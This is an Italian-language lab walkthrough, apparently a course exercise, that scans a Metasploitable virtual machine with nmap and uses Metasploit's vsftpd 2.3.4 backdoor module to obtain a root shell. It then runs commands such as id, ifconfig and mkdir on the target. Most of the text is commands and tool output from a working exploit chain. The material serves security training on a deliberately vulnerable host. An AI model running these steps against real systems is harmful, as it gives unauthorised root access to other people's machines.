

## Hacking con Metasploit

## 1. Scansione per enumerazione dei servizi attivi sulla macchina target

```
(kali㉿kali)-[~]
└─$ nmap -sV 192.168.1.149
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-20 12:01 EDT
Nmap scan report for 192.168.1.149
Host is up (0.00050s latency).
Not shown: 979 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbdc 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbdc 3.X - 4.X (workgroup: WORKGROUP)
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.53 seconds
```

## 2. Avvio del tool Metasploit tramite il comando *msfconsole*

```

kali@kali:~$ msfconsole

      dBBBBBb  dBBBP dBBBBBBP dBBBBBb
      ' dB'                      BBP
      dB'dB'dB' dBBP      dBP      dBP BB
      dB'dB'dB' dBP      dBP      dBP BB
      dB'dB'dB' dBBBBBP  dBP      dBBBBBBB

      dBBBBBP dBBBBBb dBP      dBBBBBP dBP dBBBBBBBP
      |          dB' dBP      dB',BP
      |          dBBB' dBP      dB'.BP dBP      dBP
      --o--      dBP      dBP      dB',BP dBP      dBP
      |          dBBBBBP dBP      dBBBBBP dBP      dBP

      To boldly go where no
      shell has gone before

      =[ metasploit v6.3.31-dev ]
+ -- ==[ 2346 exploits - 1220 auxiliary - 413 post ]
+ -- ==[ 1390 payloads - 46 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit tip: You can use help to view all
available commands
Metasploit Documentation: https://docs.metasploit.com/

```

### 3. Ricerca di exploit per il servizio *vsftpd*

```
msf6 > search vsftpd

Matching Modules
=====
```

| # | Name                                 | Disclosure Date | Rank      | Check | Description                              |
|---|--------------------------------------|-----------------|-----------|-------|--|
| 0 | auxiliary/dos/ftp/vsftpd_232         | 2011-02-03      | normal    | Yes   | VSFTPD 2.3.2 Denial of Service           |
| 1 | exploit/unix/ftp/vsftpd_234_backdoor | 2011-07-03      | excellent | No    | VSFTPD v2.3.4 Backdoor Command Execution |

### 4. Scegliamo l'exploit #1 con il comando *use*

```
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > _
```

### 5. Impostiamo i parametri richiesti per poterlo utilizzare

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

| Name    | Current Setting | Required | Description   |
|---------|-----------------|----------|---|
| CHOST   |                 | no       | The local client address  |
| CPORT   |                 | no       | The local client port   |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]  |
| RHOSTS  |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)   |

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
```

RHOSTS indica la macchina target

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

| Name    | Current Setting | Required | Description   |
|---------|-----------------|----------|---|
| CHOST   |                 | no       | The local client address  |
| CPORT   |                 | no       | The local client port   |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]  |
| RHOSTS  | 192.168.1.149   | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)   |

### 6. Verifichiamo quali sono i payloads disponibili per l'exploit da noi scelto con il comando *show payloads*

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
=====
```

| # | Name                      | Disclosure Date | Rank   | Check | Description  |
|---|---------------------------|-----------------|--------|-------|--|
| 0 | payload/cmd/unix/interact |                 | normal | No    | Unix Command, Interact with Established Connection |

### 7. Lanciamo l'attacco con il comando *exploit* al fine di poter usufruire di una shell sul sistema remoto

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:46427 -> 192.168.1.149:6200) at 2023-09-20 12:12:36 -0400
```

8. Eseguiamo alcuni comandi per verificare il buon esito dell'attacco

```
id
uid=0(root) gid=0(root)
```

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:a0:c1:d0
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fea0:c1d0/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1514 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1522 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:121710 (118.8 KB)  TX bytes:124996 (122.0 KB)
          Base address:0xd240  Memory:f0820000-f0840000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:361 errors:0 dropped:0 overruns:0 frame:0
          TX packets:361 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:134941 (131.7 KB)  TX bytes:134941 (131.7 KB)
```

9. Creiamo una cartella nella directory di root come da consegna dell'esercizio

```
pwd /usr/bin
/
```

```
mkdir test_metasploit
```

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```